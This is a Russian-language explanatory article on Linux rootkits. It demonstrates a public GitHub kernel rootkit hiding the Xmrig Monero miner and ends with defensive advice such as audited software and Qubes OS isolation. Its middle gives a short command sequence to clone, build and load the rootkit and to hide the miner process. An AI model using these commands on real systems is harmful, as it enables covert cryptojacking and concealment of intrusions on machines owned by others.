ДАННАЯ СТАТЬЯ - ЛИШЬ ОЗНАКОМИТЕЛЬНЫЙ МАТЕРИАЛ, СОЗДАННЫЙ С ОБРАЗОВАТЕЛЬНЫМИ И ПРЕДУПРЕДИТЕЛЬНЫМИ ЦЕЛЯМИ.
НИ АВТОР САЙТА, НИ СОЗДАТЕЛЬ ПРОГРАММНОГО ОБЕСПЕЧЕНИЯ НЕ ПОБУЖДАЮТ ПОВТОРЯТЬ УВИДЕННОЕ.
ВСЕ ДЕЙСТВУЮЩИЕ ЛИЦА И ИСТОРИИ ЯВЛЯЮТСЯ ВЫМЫШЛЕННЫМИ, А СХОДСТВО С РЕАЛЬНЫМИ ЛИЦАМИ И СОБЫТИЯМИ МОЖЕТ ОКАЗАТЬСЯ ЛИШЬ СЛУЧАЙНЫМ И НЕНАМЕРЕННЫМ.
Мы часто обсуждаем тему безопасности различных дистрибутивов GNU Linux. Пытаемся выбрать для себя наиболее подходящий вариант, который бы отвечал всем критериям этичности и безопасности. Однако чтобы сделать правильный выбор, нужно знать, как это работает. Наши оппоненты - те, чья задача как раз разрушить нашу безопасность своей работе. Они применяют множество инструментов, но сегодня хотелось бы обратить внимание на то, что помогает взломщикам быть совершенно незаметными и неуловимыми в ваших системах, а именно речь сегодня пойдет о ROOTkit.
Руткит - это наиболее сложная в обнаружении и удалении разновидность компьютерной заразы. Он прячется в глубоко в недрах операционной системы и специально написан таким образом, чтобы избегать обнаружения антивирусами и другими средствами безопасности. Может скрывать свои или дочерние процессы, исполняемые файлы и годами позволять недоброжелателям совершенно незаметно эксплуатировать ваше устройство. Дабы все было несколько нагляднее, думаю хорошо показать руткит в действии.
Допустим, мы имеем обычный дистрибутив семейства Gnu Linux, на котором злоумышленник хочет заняться майнингом анонимной криптовалюты Monero. Роль майнера в данном примере будет играть программа Xmrig с открытым исходным кодом. Если недоброжелатель просто запустит процесс в системе, администратор поймет, что происходит, посмотрев древо запущенных процессов (htop) и вычислит процесс Xmrig. Затем он может найти исполняемый файл и полностью пресечь действие злоумышленника. И, как вы понимаете, задача недоброжелателя сводится к тому, чтобы сделать процесс Xmrig совершенно незаметным. Для этого и создается руткит.
В рамках этой задачи можно использовать множество технических решений. Для решения поставленной задачи будем использовать hiding-cryptominers-linux-rootkit, который выполняет пару простых функций, а именно перехват системных вызовов в ядре Linux, чтобы скрыть процесс Xmrig из списка задач, а также скрыть сам файл xmrig из файловой системы. Конечном итоге весь руткит представляет из себя маленький файл на языке Си, который, по сути, может написать любой желающий. Чтож, вернемся к нашей демонстрации и соберем руткит из исходного кода и инжектим его в наше ядро.
git clone https://github.com/alfonmga/hiding-cryptominers-linux-rootkit
cd hiding-cryptominers-linux-rootkit/
make
sudo dmesg -C
sudo insmod rootkit.ko
sudo dmesg
Видим, что все успешно получилось.
Теперь активируем майнинг.
./xmrig
Убьем процесс, который нам необходимо скрыть, и видим, несмотря на это, что процесс майнинга продолжается.
kill -31 2838
htop
При этом данный процесс никак не отображается в системе. Также стоит заметить, что и исполняемый файл xmrig больше не обнаруживается, и в данном случае злоумышленник добился поставленной цели. Что ж, если процесс майнинга еще можно обнаружить по другим косвенным признакам хотя бы по повышенному электропотребления или максимальной загрузки центрального процессора, то представьте, что если злоумышленник будет скрывать другой процесс, например, таким образом, кто-то может использовать ваш компьютер как прокси и через ваш IP выходить в сеть и совершать какие-нибудь нехорошие действия. Может даже поднять на вашем компьютере скрытый веб-сервис внутри сети TOR или I2P и следить за вами, как это делают спецслужбы. Выбор действий остается в фантазии злоумышленника, а наибольшая проблема состоит в том, что подобный руткит никак не обнаруживается, если делать это со стороны системы, и может годами оставаться на вашем устройстве совершенно не заметно. Он даже может распространяться в сборке какого-нибудь малоизвестного дистрибутива Linux, чей код мало кто будет досконально изучать, или злоумышленник может интегрировать его в какую-либо программу, даже распространяемую под свободной лицензией, установив которую, ваше устройство станет инфицировано.
И подобные руткиты не ограничивается присутствуем только в Linux семейств. Они уже давно существуют и под мобильные девайсы, и в системах под управлением Windows. Более того, обнаружить их там еще сложнее виду закрытости кода. Проблема остается настолько сложной, что даже сотрудники Microsoft не способна обнаружить вредоносные драйвера под Windows, несущие в себе руткиты, и сами подписывают вредоносные драйвера злоумышленников, считая их совершенно легитимными.
И тут мы возвращаемся главному вопросу: как же справиться со всем этим? Как убедиться, что программа, которым устанавливаем, не содержит в себе руткит? Что же на самом деле мы можем сделать Не так много: использовать дистрибутивы и программы, чей кот был проверен сообществом, и сообщества - это должно быть достаточно широко. Также рекомендуется использовать систему изолированной виртуализации, как, например, это реализовано в рамках операционной системы Qubes OS, где каждая программа запускается в изолированной виртуальной машине. И даже в случае, если она инфицирована, это никак не повлияет на всю нашу операционную систему. Но и само собой, это требует от вас соблюдения элементарной цифровой гигиены.